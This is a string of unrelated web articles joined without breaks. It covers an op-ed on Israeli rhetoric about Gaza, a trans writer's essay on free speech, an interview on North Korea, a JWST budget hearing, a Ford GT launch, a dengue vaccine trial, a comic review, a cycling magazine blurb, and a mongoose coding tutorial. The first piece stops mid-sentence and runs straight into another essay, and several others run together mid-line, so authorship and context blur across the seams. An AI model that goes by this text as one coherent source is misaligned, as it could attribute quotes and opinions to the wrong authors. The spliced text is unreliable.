Moshe Feiglin, of Netanyahu’s own Likud party, called for concentration camps for the people of Gaza, and for the extermination of any Gazan who even supported Hamas or other militant groups. Israelis sat on hilltops and cheered as bombs rained down on Gaza. Lest you think this is understandable in light of war, they also threatened reporters with violence if they reported on it. You don’t do that if you feel your actions are acceptable. Right-wing Israelis ramed the streets of Israel’s cities in packs, assaulting Palestinians and Israeli “leftists.” In some instances, police tried to intervene, in some they stood by and did nothing, and occasionally even helped the right-wingers. Amidst regular chants of “Death to Arabs” that could be heard all over Israel, one Knesset member, Ayelet Shaked, made statements which cannot mean anything other than a call for genocide. She said, “This is not a war against terror, and not a war against extremists, and not even a war against the Palestinian Authority. The reality is that this is a war between two people. Who is the enemy? The Palestinian people.” And a week later, she added “Behind every terrorist stand dozens of men and women, without whom he could not engage in terrorism. They are all enemy combatants, and their blood shall be on all their heads.” Where was the outrage? Where were the condemnations, calls for resignation, clear statements about how un-Jewish such ideas and sentiments were? Where was a statement like this one, issued by the New York branch of the Council on American-Islamic Relations (CAIR) in response to anti-Semitic graffiti having been spray-painted on buildings and cars back in May of this year: “The New York Muslim community stands in solidarity with the Jewish community in condemning this attack. We denounce all acts of anti-Semitism and hate when anyone is attacked based on their religion, ethnicity, gender, race, or sexual orientation.” Where is the Jewish, Christian or American equivalent of such a statement regarding Israel’s behavior, which went far beyond offensive statements into calls for genocide and ethnic cleansing and, in practice, took the lives of thousands of Palestinians in Gaza, most of them civilians? It was nowhere to be found. This is not just a matter of principle, or accountability. The deafening silence with which this violence and blatant racism was met encourages its continuance. That is especially dangerous in an atmosphere where a barbaric, Khmer Rouge-style group like IS is being treated as a global threat, with doomsday rhetoric around it that is reminiscent of Cold War propaganda about the Soviet Union, a somewhat more significant military adversary. A stunning example of how such bigotry flourishes when it is unchallenged was presented just outside of Atlanta, Georgia in a Rosh Hashanah (Jewish New Year) sermon. It was delivered by Rabbi Shlomo Lewis of Congregation Etz Chaim, and it was vitriolic and murderous. Lewis preached that the very existence of Western civilization was in dire peril, not just from Islamic State, but from Islam more broadly. Lewis tries to come off as reasonable, but his speech reads like something David Duke might write about Jews. And, like Ayelet Shaked, it takes some serious linguistic gymnastics to see this as anything other than a call for genocide. Consider what Lewis says, as he starts with the tired lie (which he is surely aware is a lie) that Muslims have not condemned IS: “Where are the other 950 million Muslims…I want to believe they are out there for their sake and for ours….but where are they? A silent partnership is no partnership. Sin is not just in the act of commission – it is also in the act of omission. Most Germans were not Nazis – but it did not matter. Most Russians were not Stalinists – but it did not matter. Most Muslims are not terrorists – but it does not matter.” All the world’s Muslims are to blame in the mad rhetoric of Shlomo Lewis. And what are we to do about this dire threat to the very existence of the world we know? Lewis has an answer to that
readers will not be able to judge for themselves, because you didn’t share any of the Person of Stature’s actual quotes or beliefs about transgender people). 5) All of this may sound straightforward enough. But there are a couple more Pandora’s Boxes that you will need to avoid in order to be successful: Pandora’s Box #3: If the Person of Stature happens to be a renowned feminist, then whatever you do, do not remind readers that the things that the transgender protesters are doing now — penning critiques of the Person of Stature’s previous comments, passing around petitions, trying to convince the University not to offer this Person of Stature a public platform to potentially spew even more prejudice and disinformation about the marginalized group in question — these are all things that feminists themselves have done over the years! In fact, during the late ’60s and early ’70s (back when sexism was rampant, when women were not taken very seriously, and when this very Person of Stature first came to prominence as a feminist), feminists were routinely protesting institutions and events that they felt contributed to their marginalization. These are simply the types of things that you need to do when you are a marginalized group who no one takes seriously, and if you want people to pay attention to your issues and potentially change their minds. Otherwise, why would they even care? Or take a stance on the issues you face? Or god forbid, potentially even lift a finger? If you accidentally open Pandora’s Box #3, then readers might begin to see parallels between feminists back then and transgender activists today. They might recognize that these sorts of tactics are simply how marginalized groups slowly move the unspoken line-in-the-sand (that we are not supposed to mention — see Pandora’s Box #2) toward their preferred direction. Toward respect and equity, as far as they are concerned. Pandora’s Box #4: Remember earlier, when I mentioned how (in your mainstream self-identified liberal readers’ recollection) there were hardly any transgender people at all a mere five, or ten, or fifteen years ago? Well, they were actually around that whole time! It’s just that they were hardly ever given the opportunity to speak, or to be heard, in public settings. Hell, just ten years ago, it was far more common for such protests to be directed against transgender people speaking at Universities rather than the other way around. And if you were to ask trans people who lived through that time, they would likely point out that freedom of speech — which as an abstract concept, virtually everyone embraces — doesn’t mean shit when 95-ish percent of people think that you are worthless, and/or abominable, and/or immoral, and when they use their overwhelming-majority freedom-of-speech powers to make sure that you are never allowed to share your experiences or perspectives in a public setting, or hold a position where you can influence public policy or popular perception in any way. So as I’ve been saying all along, this story is not really about free speech. It’s about where we — as individuals, as a society — draw that unspoken line-in-the-sand with regards to what we deem to be permissible, and what (and often whom) we deem beyond the pale. And if you can’t see that the real issue at stake here is the unspoken line-in-the-sand, then that’s most likely a sign that who you are and what you believe is already deemed permissible in our society. But as a trans person who has lived most of my life being deemed by 95-ish percent of society as being beyond the pale — who stayed closeted the first twenty-seven years of my life because I knew most people wouldn’t accept me, who attended secretly-held trans community meetings because it was not safe for us to congregate in a public space during that time and place, who still to this day faces regular discrimination and harassment that large swaths of our society condones — to me, that unspoken line-in-the-sand is blatantly obvious. It basically determines whether or not I am allowed to exist, whether or not my perspective and concerns are taken seriously. That unspoken line-in-the-sand is right there, doing real work, directly impacting many people’s lives, even if you choose not to see it, or refuse to acknowledge its existence. So if you want to write an article called “Feminism Needs More Thinkers Who Aren’t Right 100 Percent of the Time,” go ahead — freedom of speech and all that. And I generally agree with the sentiment expressed in your title — hell, I even wrote an entire book about how we need to be more accepting of difference (including differences of opinion) within feminism. But when accepting people who “Aren’t Right 100 Percent of the Time” is coded language for accepting someone who didn’t just say one offhand remark that made a few trans people upset, but rather someone who is fiercely committed to the idea that trans people are beyond the pale, that our identities should not in any way be accepted by society — if this is what you think we should accept — then you are not promoting tolerance. You are condoning intolerance. And you are not championing Germaine Greer’s freedom of speech (she still has that, and as a Person of Stature, she also has a platform to express it), but rather you are drawing a line-in-the-sand — a line that renders me and other trans people’s concerns as irrelevant and unimportant. You have every right to draw the line wherever you want. Just as I have every right to try to push the line in my preferred direction (which may, or may not, include protesting people who express vitriol and disinformation about trans people, and/or people who tacitly condone that vitriol and disinformation). But don’t obfuscate this particular matter by pretending that this is about free speech, or tolerating dissenting views, or activists going too far. This is about the line-in-the-sand. You can’t have a society where women are fully respected, but where expressions of rampant sexism are also condoned. It is simply not possible — as a feminist, surely you can see this. By the same token, it is simply not possible to fully respect trans people while at the same time condoning people who express rampant transphobia — these things are mutually exclusive. So go ahead and draw your line, the one that determines whether you deem trans people to be beyond the pale (as historically has been the case), or whether you deem transphobia (sans scare-quotes) beyond the pale. But you can’t have it both ways. And once you draw that line, own it. Because this is all about the line. Finally, to all the people who have written, or are considering writing, articles rallying against “political correctness,” or “call-out culture,” or the “Internet outrage machine,” or whatever you want to call it: This may surprise you, but sometimes I agree with some of the points you make. As I previously mentioned, I wrote an entire book about how activism — in the course of advocating on behalf of certain marginalized groups — sometimes veers into the realm of invalidating or marginalizing other groups. So I strongly believe that there is common ground for us to have smart and necessary conversations about how we can balance civil discourse and differences of opinion, while at the same time fully respecting one another as people. But if instead of engaging in such smart and necessary conversations, you’d rather just write the flip-side of the “Internet outrage machine” article — where instead of stoking outrage about people who have allegedly committed acts of sexism, or racism, or transphobia, and so on, you instead stoke outrage about the people who are protesting these potential acts of sexism, or racism, or transphobia, and so on — and/or if you want to dismiss or condemn these activists’ and minority groups’ protests without addressing any of the Pandora’s Boxes that I have described along the way in this article, then fuck you. Seriously. Fuck you. You are a hack who does not want to have a serious conversation about these super-important and super-complex issues. You just want to be in the right. And I think you are wrong. That is where I draw my line-in-the-sand. This essay was made possible by my Patreon supporters — if you liked it and want to see more like it, please consider supporting me there. You can learn more about my writings and activism at juliaserano.com.Kim Jong Un is determined to produce nuclear weapons and all the international community can do is monitor and slow the process as much as possible, Kongdan Oh told NK News. Oh, a non-resident senior fellow at the Brookings Institute, talked about recent leadership changes in every Northeast Asian country and the subsequent shifting alliances. Oh, a research staff member at the Institute for Defense Analyses, states that North Koreans have never been under a liberal, democratic system. As such, they believe they are better off accepting Kim Jong Un, but there is no real respect whatsoever toward him. Oh paraphrased famed Harvard economist John Kenneth Galbraith, saying South Korean President Park Geun-hye must choose between “inedible” and “unpalatable” food. Park, she said, has to navigate between those in the minority that are pro-negotiation with the North and the majority that are very angry after the sinking of the Cheonan naval vessel and the bombardment of Yeongpyeong island, both of which took place in 2010. “Overall, as a female leader, if she looks very weak, particularly militarily for national defense sake, it doesn’t put her in a very good position,” said Oh, who with Ralph Hassig has recently co-written numerous articles on dealing with Pyongyang’s nuclear ambitions and military confrontation on the Korean Peninsula. “So, I think she is playing a tougher game to deal with North Korea.” Despite this, Oh believes Park’s decision to prepare for unification is the only way to make Korea a much more solid, unified country that can be a balancer among the major powers. However, Japanese Prime Minister Shinzo Abe is becoming “an odd man on the block,” she said, as South Korea and China are finally showing an understanding that North Korea is a dilemma for all of its neighbors. Abe, though, has become estranged from his neighbors through historical issues and territorial disputes, and he is focusing narrowly on the North Korean abductees issue. “There are more important issues about global human rights abuses in the gulags as well as WMD development and on Kim Jong Un’s totalitarian governance,” said Oh. Moreover, she does not believe that there will be progress on the abductees issue until “North Korea disappears from the global map.” Also, although China has shifted closer to South Korea, it cannot fully support Park’s reunification plan. “As long as the Chinese regime can afford it a little bit, it will try to sustain the North Korean regime,” Oh said. “China and North Korea are like big brother and younger brother. So, even though the older brother doesn’t like the poor younger brother, he tolerates him.” NK News: You argue in a Global Experts: Analysis on Demand opinion piece that North Korea shows no interest in ending their nuclear program; on the contrary, they even stated that it is their greatest weapon. What do you believe is the best way for the international community and the U.S. specifically to deal with North Korean intentions? Oh: The State Department’s main policy is that we’re not recognizing North Korea as a nuclear state, but individually everybody says North Korea is already water under the bridge. North Korea is, of course, using its (nuclear) card to get everything It’s their important deterrence card. They’ll never give up nuclear weapons. So, in that sense, then, I think it might be a little bit too late now. There is not much we can do. We are pretty much monitoring what they are doing. The North Koreans are selling whatever materials to a third party. When a country is determined to have nuclear weapons, as we saw in the case of India, Pakistan and Israel, unless like in South Africa somebody is voluntarily giving them up, we really cannot do anything unless you are interested in a surgical strike and bombing the entire country, which is morally unacceptable because it’s not a war-defeated country. So, basically, there is not much we can do. Not many options whatsoever. And North Korea is, of course, using its card to get everything. Not giving up completely, but using salami tactics. So, we are pretty much stuck with North Korean nuclear development and the only thing we can do is delay and slow down the process so they are not producing as rapidly as possible. And, also, then economically, diplomatically trying to monitor and deter North Korea as much as possible. It’s not pessimism. It’s not optimism. It’s realism. NK News: Kim Jong Un seems to be giving the impression that he is like his grandfather through his appearance or mannerisms. However, you also state that Kim Jong Un issues more hostile rhetoric and is enacting more authoritarian measures against his people. Do you believe the North Korean population buys into this image? Oh: North Korean society and people have been separated from the global community and have been going through this strange country lifestyle for the last two centuries. They never had a republican, open-society experience. They went through the Yi (Joseon) Dynasty and Japanese colonialism and, now, they are under the Kim’s dictatorial governance. So, if you put yourself within that society and territorial boundaries…even though, they may kind of see, “Oh, South Korea is changing. China is changing,” there’s not much they can do. It’s their country, but they’re stuck with Kim. And, then, of course, Kim has all the methodology – tools, weapons, punishment and gulags. So, I think most people just accept it as their fate, but, basically, the people who went through the famine (under) Kim Jong Il’s ruling may in their deep mind think, “Wow, what’s going on? Is this the only option we have?” But, unfortunately, they don’t have many methods to get out. So, I think people do not really adore and respect (the Kim regime) because there is no improvement, but they are basically accepting him as their leader. If you were born in South Korea in the 1960s, you would have experienced the same feeling. Even though you lived in a military dictatorship, you would think, basically, it’s my country. Nobody wants to leave his or her country. Only later when South Korea was developed, Koreans traveled all over the world and they found out they actually were in the wrong. South Korea luckily had the U.S. North Korea doesn’t have any reference. There are no foreign troops. No foreign presence. So, I think Pyongyang people believe they are better off accepting him, but I don’t think there is any genuine love whatsoever toward him. I don’t expect that. NK News: How do recent change of leadership in Northeast Asia (China, Japan and both Koreas) affect the security environment in the region in relation to North Korean provocations? What are your opinions of North Korea’s recent turn towards Japan and Russia? If you are a very respectable leader, you don’t want deal with a person like Vladimir Putin Oh: This is kind of strange behavior on the part of Shinzo Abe, but, nonetheless, basically, Abe has tried to be like a global diplomat, including interacting with Cuba and African countries, so he is unlike a typical Japanese leader. He’s going around on global tours and he’s positioning himself as a global peacemaker. So, he’s outreaching to Russia and North Korea, which are not very highly respected among the Japanese and even American experts. Basically, look at (the aftermath of) the Malaysia Airline Flight 17 and (the) Ukraine situation. If you are a very respectable leader, you don’t want deal with a person like Vladimir Putin. And, yet, he is outreaching, right? And, also, he is talking with North Korea. Picture: World Economic Forum, Flickr Creative Commons And, so, I think, in a sense, it is very unfortunate because, for the first time, South Korea and China are showing some kind of strategic partnership and, also, Xi Jinping basically said, “North Korea is not only a problem for South Korea, but for us too.” So, there is kind of this understanding that North Korea is really presenting a dilemma to everybody. And, Abe should go along with (South) Korea and China’s position, but, unfortunately, historical issues and territorial disputes issues (are) kind of taking him in a wrong direction, which is kind of making him an odd man on the block. So, it’s very unfortunate timing, although I understand his global interest. Basically, in my mind, Putin is a really criminal leader and dealing with him is not good. Compared to Syria, Yemen, Somalia, Afghanistan or Iraq, Northeast Asia’s security situation is okay – relatively peaceful compared to the Palestine Gaza period. There is no bombing. There is no war. So, it is much more stable. But, unfortunately, strategically, (North Korea) can play a much better game and then the peninsula is divided, which is an unfortunate situation. NK News: What is your assessment so far of President Park Geun-hye’s approach towards North Korean military provocations at sea, especially in the last two months? Oh: I think it is very tough to please everybody inside (South) Korea because inside the country there is definitely a pro-negotiation, pro-reconciliation group, which is now considered to be a minority and then the majority of the civilians are so angry after the Cheonan and Yeonpyeong Island incidents. So, as the president, Park Geun-hye should really pay attention to domestic politics, but, at the same time, I think she observed the Sunshine Policy and Lee Myung-bak’s policy very carefully. So, overall, as a female leader, if she looks very weak, particularly militarily for national defense sake, it doesn’t put her in a very good position. So, I think she is playing a tougher game to deal with North Korea. And, particularly, to the military, which she was always looking to the Blue House, waiting for the order, when North Korea proposed. But sometimes timing is very important. If you are provoked, you have to immediately respond to the appropriate level, right? So, she gave a little bit of authority and privilege to the commander. You are in charge and I will not blame you. I’m standing behind you. So, I think, as a sort of military commander-in-chief, she shows the North Korea as well as China that I am in charge and I’m dealing with it. For the long term, I think Park declared correctly that unification is our goal, (and) is the correct approach. Although most people say that it is not an easy dream to achieve, it is a strategic vision. You should have some kind of vision and push it. So, in that sense, I think I support her. Supporting unification is the only way to make Korea not become a pawn of the global and regional power game and become a much more solid, unified country that can have a position to be a balancer among the major powers. So, I think, in that sense, I think she chose the correct vision. But, it’s tough to be a Korean president. There is a very interesting expression that John Kenneth Galbraith, the famous Harvard economist, said: “(You must) make policy choices between inedible food and unpalatable food.” You have to make a choice and it’s tough. It’s very difficult to make everybody happy, but that is the job of a leader. And, so, she has a tough job. NK News: Some scholars in the field have critiqued Japan’s prioritization of the abductees issue over more pressing security issues. Do you believe that this is the case? Oh: I think that they have been trying and the abductee issue has been the very front issue (in dealing with North Korea) because Japan is really trying to be like America. Japan wants to find out everything on the matter of their kidnapped citizens. So, I think on that matter, I would like to give it a good score because every citizen is important, right? So, that is a sign of an advanced country. But, at the same time, at this critical time, when collective self-defense is being discussed and, then, Abe has to improve economic issues and has to face China and all of these things, he’s kind of focusing narrowly on one little country and the abductee issue. It’s kind of a strange balance. I think he could let the Ministry of Foreign Affairs (MOFA) deal with it quietly, but getting rid of economic sanctions and doing all sorts of things is kind of signaling to a lot of U.S. scholars and policymakers as well as other countries this reaction: “Is he trying to make trouble with South Korea and China because (they) are really treating him like cold rice?” But, I think, overall, he should think twice. The abductee issue is an important issue, but there are more important issues about global human rights abuses in the gulags as well as WMD development and on Kim Jong Un’s totalitarian governance. There hasn’t been anything about that, so I think he is being pulled down as a sort of a small-minded leader. He’s embracing everything, but he cannot accomplish it all. The abductee issue has existed for the last decade and it’s tough because, for example, North Korea has sent dog bones instead of real human beings. Unless the North Korea investigates it thoroughly from top to down you’ll never get the true story. And that will not be possible until North Korea disappears from the global map. That’s the unfortunate situation. So, I think he’s focusing too narrowly on the North Koreans abductee issue rather than focusing on the bigger issue and he has to deal with lot of issues right now. NK News: What is your current assessment of Sino-North Korean relations? What factors or conditions will convince China to disavow support for the DPRK regime? “…individually if you talk to a lot of smart people (in China), they really don’t like North Korea at all” Oh: I think, if you talk with a lot of Chinese scholars and officials, nobody likes North Korea. It’s just a kind of strategic burden right next to China. (The Chinese) are really condescending toward the North Koreans. But, at the same time, as long as China’s superstructure is communism, North Korea’s censorship still exists and it’s a buffer state, they don’t want a unified, democratic, pluralistic, market-oriented Korea that is similar to the U.S. at the Yalu-Tumen River. They cannot tolerate it because they themselves operate under a dictatorship. They don’t allow freedom of religion, freedom of speech. They beat up everybody. A legal system exists, but they put every artist, every (intellectual) and expert in jail. Liu Xiaobo, the Nobel laureate, they put him in jail and his wife is under house arrest. That’s the kind of country it is. So, in a sense, China and North Korea are like big brother and younger brother. So, even though the older brother doesn’t like the poor younger brother, he tolerates him. So, as long as the Chinese regime can afford it a little bit, it will try to sustain the North Korean regime. Right now, the Chinese have domestic problems as well as external problems so they want to keep the northern part a frozen land. So, within the frozen territory, you stay there. Don’t cross the border. You die there. Before you die, we can send you more rice. That’s their policy. So, in a sense, it’s very pathetic. But, what do you expect from China? I don’t expect very much at all. But, personally, individually if you talk to a lot of smart people, they really don’t like North Korea at all. They think the three Kims were worst leaders, but are getting worse and worse. They say, “Kim Il Sung was okay. He fought with us against the Japanese as a partisan guerrilla fighter, so he has charisma. The son…Who is this? They tolerate him.” And then, about the third one, they say, “We don’t like him.” When I spoke with some Chinese scholars, they said that outright. Picture: National Defense University, Flickr Creative CommonsWASHINGTON — NASA will provide an updated launch date for the James Webb Space Telescope early next year, even as some warn that the mission might face further delays. At a Dec. 6 hearing of the House Science Committee’s space subcommittee, Thomas Zurbuchen, NASA associate administrator for science, said the revised launch date would come after an independent review of the status of the spacecraft. “At this moment in time, with the information that I have, I believe it’s achievable,” he said of the current launch window of March to June 2019, which NASA announced in September after delaying the launch from October 2018. However, he said an independent review “is exactly what we should be doing, and frankly I have directed the team to do just that in January.” That review won’t start until January, he said, because of ongoing tests of unfolding the sunshade of the space telescope. Previous tests, he said, took much longer than anticipated, playing a key factor in the decision to delay the launch. An updated launch date, he said, would likely come in “January or February.” Such an independent review was proposed earlier in the hearing by another witness, retired aerospace executive Thomas Young. “In my opinion, the launch date and required funding cannot be determined until a new plan is thoroughly developed and verified by independent review,” he said. Young warned that attempting to minimize schedule delays or additional cost to JWST could add risk to the mission. “JWST is at a point in its development where the only criterion that is important is mission success,” he said. “At this stage in the project, a few extra days or weeks or even months of schedule delay, or the expenditure of some additional dollars, is a small price to pay to ensure success of a mission as important as JWST.” Zurbuchen didn’t identify any additional issues that might lead to more delays for JWST. However, Cristina Chaplain of the Government Accountability Office cautioned that the risk for such delays remained given the assembly and testing phase the spacecraft is in. “More delays are possible given the risks associated with the work ahead and the level of schedule reserves that are now below what is usually recommended,” she said. The hearing also addressed issues with the Wide-Field Infrared Survey Telescope (WFIRST), the next flagship-class astrophysics mission after JWST. In October, Zurbuchen directed the project to examine changes to the spacecraft, still in an early design phase, after an independent review found the mission was “not executable” without design changes or additional funding. Zurbuchen said at the hearing he expected to get a redesigned concept for the mission in February. Young, in his testimony, said he was not concerned about WFIRST because NASA is addressing the cost concerns while the mission is still in an early phase. “NASA is to be congratulated for taking an important step” in the form of the independent review, he said. “I want to emphasize that there is no cause for panic,” he said. “What is transpiring is a perfectly healthy process to assure that the scope, cost and risk are appropriately defined prior to proceeding past milestone B,” a reference to Key Decision Point B, which NASA has postponed while the WFIRST redesign takes place. In his opening statement, subcommittee chairman Rep. Brian Babin (R-Texas) said that NASA’s decision to use a donated telescope assembly from the National Reconnaissance Office may not have provided the cost savings once promised for WFIRST, and hinted that decision should be revisited. “Several years ago, this committee suggested NASA study WFIRST to determine if the assets from NRO would be appropriate for this mission, and whether it would cost more to repurpose existing hardware than to build the observatory from the ground up,” he said. “Now we face additional questions about the scope of the mission.” Zurbuchen also faced questions about another, smaller space telescope mission, the Transiting Exoplanet Survey Satellite (TESS), which is scheduled for launch by March 2018. He said a focus shift detected in the spacecraft’s camera during low-temperature testing, announced earlier this year, should not prevent the spacecraft from achieving its science goals. Rep. Mo Brooks (R-Ala.) quizzed Zurbuchen about the status of TESS’ launch vehicle, the SpaceX Falcon 9. The Block 4 version of the rocket that will be used to launch TESS has yet to be certified by NASA for the mission, and Brooks asked if there were concerns that the rocket will not be certified in time. “At this moment in time I don’t have any such concerns,” Zurbuchen said, anticipating the certification process would be completed by early 2018.The first road-going 2017 Ford GT is finally here, and it’s just as wonderful as you’d expect. Its racing counterpart won the grueling 24 Hours of Le Mans this year 50 years after the original Ford GT40's first win. Now production has fired up to deliver Le Mans-grade domination to lucky garages around the world. A new low-volume assembly plant at Multimatic in Ontario just rolled out the very first roadgoing version of North America’s most insane supercar, complete with a stripe in—is that Jalopnik orange? (Nice.) Ford executive vice president Raj Nair says that they’re right on schedule, despite some racing fans’ consternation that Ford was allowed to race with a GT car that didn’t exist yet on the road: When we kicked off 2016, we had two primary objectives for our Ford GT supercar – to excel at Le Mans, and to start deliveries before year-end. We’ve achieved both. Advertisement The Ford GT was unveiled in January 2015 at the North American International Auto Show, and its GTE-spec race car started racing in 2016. Now the GT will move on to its inevitable destiny: dominating Cars and Coffee, of course. Take a look at this beautiful thing being assembled and finally being driven off the assembly line. It’s here! It’s finally here. AdvertisementResearchers have trialled an experimental dengue vaccine on a group of volunteers, and have shown that, six months later, 100 percent of them were protected from the virus, even after having dengue directly injected into their system. Dengue is similar to Zika in that it's spread by Aedes mosquitoes, and is on the verge of reaching epidemic levels in southeast Asia, the Pacific, and the Americas, with more than 390 million people being infected with one of the four dengue strains every single year. This is the first time a vaccine has been shown to prevent infection, and the results are so promising, it's now been rushed through into large-scale phase 3 clinical trials. "The results of this work are very straightforward and quite conclusive," one of the researchers involved in the trial, Beth Kirkpatrick from the University of Vermont, told The Washington Post. "The bottom line is that the vaccine appears to be 100 percent efficacious." To test the vaccine, researchers led by the US National Institute of Allergy and Infectious Diseases (NIAID) took a group of 41 volunteers and randomly gave them either a placebo injection, or the experimental dengue vaccine, which contains a harmless live version of the virus. Six months later, they injected those same participants with a mild form of the dengue virus, and found that all 21 participants who'd received the vaccine were completely protected against infection. Meanwhile, the 20 people in the placebo group had traces of the virus in their blood, and a few developed a rash. If injecting people with live viruses sounds pretty full-on, that's because it is - challenging participants with live viruses like that is something that fell out of favour centuries ago, and most modern vaccine trials simply look for traces of antibodies the bloodstream to determine immunity. But scientists have been using that approach unsuccessfully to find a vaccine for dengue for almost 100 years, so this team felt it was time to try something more drastic - all with close medical supervision and in the safest way possible, of course. Importantly, the strain of dengue they injected volunteers with causes nothing more than a mild rash (and no fever) - something that was important for the patients to be aware of, given the 50/50 chance of becoming infected. And the risk paid off - the results of the small trial are so exciting that a large-scale phase 3 clinical trial began in Brazil on 22 February, with a target enrolment of 17,000 adults, adolescents, and children. It'll be completed in 2018, so we can expect results some time after that. But because they've already challenged the vaccine with the live virus, researchers are uncharacteristically optimistic. "Knowing what we know about this new vaccine, we are confident that it is going to work," said lead researcher Anna P. Durbin from the Johns Hopkins Bloomberg School of Public Health. The science community is also excited about using this same method to improve vaccine research, and weed out which ones are never going to work before spending millions on large trials. "This is a tremendous step forward, and something that has been desperately needed for 30 years," Duane Gubler, a disease researcher at the Duke NUS Medical School in Singapore, who was not involved in the trial, told Nature. The lack of human challenge studies, he said, has "actually been one of the things that has made the development of dengue vaccines very difficult". It's important to note that these types of challenge studies "would never be used for certain deadly pathogens, such as Ebola", notes the NIAID. Excitingly, dengue is in the same family as Zika virus, and the team thinks this research will speed up the development of a Zika vaccine. Challenge trials could also help them better understand how the virus works in humans. The research has been published in Science Translational Medicine.After reading the synopsis for Translucid, the first thing I wondered was why everyone who likes superheroes isn’t reading this series and talking about it already. Comixology’s little blurb for the BOOM! Studios series goes like this: The Horse has been the arch-enemy of The Navigator for years. But The Horse feels The Navigator’s moral compass slipping, and even a villain can’t let that happen. The Horse decides to get a closer look into The Navigator’s past that he’s buried deep in his subconscious and find out what drives a person to make the right choice, and what propels someone to make a selfish one. Thus begins an exploration of why a young man would take the mantle of a superhero. This is the quintessentially modern superhero story in the sense that it probably would not have made sense to people before the 1980s—approximately a generation after the superhero became an icon of American popular culture. Basically, this is a rare sort of post-Watchmen story that still partially believes in the the fairy tale of the superhero. The characters are coming into their own and the story is fully stand-alone in the sense that all the people in it are technically original, but this tale is still one that will mostly appeal to people who have experienced many superhero stories already. It works because it plays with the tropes of its genre. And despite the fact that the series purports to be about figuring out The Navigator, it feels as though it’s a story in which the readers might be able to learn just as much about the teller of the tale. The Horse is the one who leads readers on this psychedelic trip down memory lane. He seems to influence the readers’ experience of the narrative because we see The Navigator’s memories while and how he sees them. He is also the one who orchestrated The Navigator’s forced recollections and current predicament within the story. The Horse is a smart, principled (in his own way), dedicated and observant person. What readers may not figure out so quickly is why he is doing all of this. He tells the readers that he and The Navigator are twin stars, the Yin to the other’s Yang, and explains how the supervillain must contrast with the superhero. But why is a supervillain the arbiter of heroism? Why would a supervillain want to know how a superhero ticks? Translucid is built upon this relationship between the hero and the villain, as well as a past relationship between a boy and his elder brother that seems to be influencing this current one. The end of Issue Three confirms, for me at least, that this will continue to be the case. The story is actually less about how a hero is made than about how close a superhero and supervillain can be. For example, at first I found pieces of the hero’s origin story disappointingly cliché. But then I realized that these elements were ones often found in supervillain origins, and I became more intrigued by the direction the story was headed. As the creators write in Issue Two, “The world can be a disorderly place for a born perfectionist with a curious mind. They say the difference between good and evil is intention. But perhaps it’s opportunity.” This story not only assumes that a hero and villain are always in a matching set, but it seems to also claim that a hero can be pushed into heroic deeds or that a villain can be self-motivated into villainy. And in comparison to the genre archetypes, that is quite topsy-turvy. But it should be clear by now that this is not your regular superhero comic. The art reflects this as well, with its rather plainly handsome characters and anti-spandex hero and villain designs. The color schemes and distortion of images are used to create the moments of jarring shift between the appearance of normalcy and what must be someone’s imagination. The series is about superheroes and draws on their collective archetypes, but visually and narratively it does not accept the world of capes and tights. Nor does it fully invite us into its world. The very nature of its telling, with the aid of a narrator, assumes an audience and therefore distances itself from those readers. When we are told a story, we never forget that it is just that. The narrative also jumps back and forth in time, mixing memories, facts, and perhaps fiction. It becomes unclear how much readers can trust what they see. I wonder if, in the end, this series will really be about the superhero at all. Whose origin story this is, in actuality, and how much it has been tainted by his counterpoint character (good or evil), remains to be seen. This article is based on Issues 1-3 of Translucid, from BOOM! Studios. It is written and created by Claudio Sanchez and Chondra Echert. Illustrated by Daniel Bayliss. Colored by Adam Metcalfe. If you enjoyed B.K.’s review, you can find the rest of her work right HERE on Sci-Fi Bloggers. You can also follow her on Twitter @kobayashi
BT’s carefully curated collection of articles and photographs are gathered from a diverse group of cycling enthusiasts worldwide. With the recent boom in bicycle touring, our magazine base has grown to over 20,000 dedicated subscribers. As BT begins its 7th year, we are more passionate than ever about publishing high-quality content that resonates with our adventure-minded readers and illustrates the wonderful world of two-wheeled travel. In addition Bicycle Traveler also features interviews plus information on the newest gear and rider setups. Subscribe (it’s free!) so that you don’t miss out on future editions. We respect your privacy. You can unsubscribe at any time. The people behind it Grace Johnson is the founding editor and designer of Bicycle Traveler magazine. Photographer Paul Jeurissen runs the website and his cycle touring and bicycle culture images regularly appear in the publication. They met on the Trans America bicycle trail in 1981 and since then have taken numerous bike trips, totaling more than 9 years over 5 continents. You can follow their two-wheeled travels at Impressions from Bicycle Travels.The most +1'ed feature request for mongoose in 2016 was extending discriminators to work with embedded documents. Discriminators are mongoose's built-in schema inheritance mechanism. For example, suppose you have a schema defining events: const eventSchema = new Schema({ message: String }); Naturally, an 'event' is a nebulous concept. Suppose you want to make some more concrete events, like a ClickedEvent that contains the id of an element that the user clicked and a PurchasedEvent that contains the id of the product purchased. Discriminators let you do this: const eventSchema = new Schema({ message: String }, { discriminatorKey: 'kind' }); const Event = mongoose.model( 'Event', eventSchema); const ClickedEvent = Event.discriminator( 'Clicked', new Schema({ element: { type: String, required: true } })); const PurchasedEvent = Event.discriminator( 'Purchased', new Schema({ product: { type: String, required: true } })); Now ClickedEvent and PurchasedEvent are discriminators of Event. In other words, ClickedEvent and PurchasedEvent are mongoose models that share the 'events' collection. When you save a new ClickedEvent instance, mongoose will store it in the 'events' collection with the kind property set to 'Clicked'. The element property is only required for ClickedEvent instances, and the product property is only required for PurchasedEvent instances. Calling ClickedEvent.find() is also equivalent to calling Event.find({ kind: 'Clicked' }). You can read more about discriminators in this article. One major limitation of discriminators in mongoose ~4.7 is you can only have discriminators in top-level documents. For example, say instead of storing each individual event in the database you store events in batches as shown below: const eventSchema = new Schema({ message: String }, { discriminatorKey: 'kind', _id: false }); const batchSchema = new Schema({ events: [eventSchema] }); const Batch = mongoose.model( 'Batch', batchSchema); In mongoose 4.7, there's no way to create a discriminator for the events array, because it's embedded in the top-level Batch model. Mongoose 4.8 adds the ability to create discriminators on embedded arrays. Discriminators for Document Arrays In mongoose ~4.8 you can define a discriminator by calling a document array's discriminator() function: const eventSchema = new Schema({ message: String }, { discriminatorKey: 'kind', _id: false }); const batchSchema = new Schema({ events: [eventSchema] }); batchSchema.path( 'events' ).discriminator( 'Clicked', new Schema({ element: { type: String, required: true } }, { _id: false })); batchSchema.path( 'events' ).discriminator( 'Purchased', new Schema({ product: { type: String, required: true } }, { _id: false })); const Batch = mongoose.model( 'Batch', batchSchema); Now you can now create event batches and mongoose will map kind properties to the correct types: const batch = { events: [ { kind: 'Clicked', element: 'Test' }, { kind: 'Purchased', product: 22 } ] }; Batch.create(batch).then( console.log); One neat feature of discriminators is the ability to define methods on each discriminator. In the below example, you'll see you can create a different displayName() method 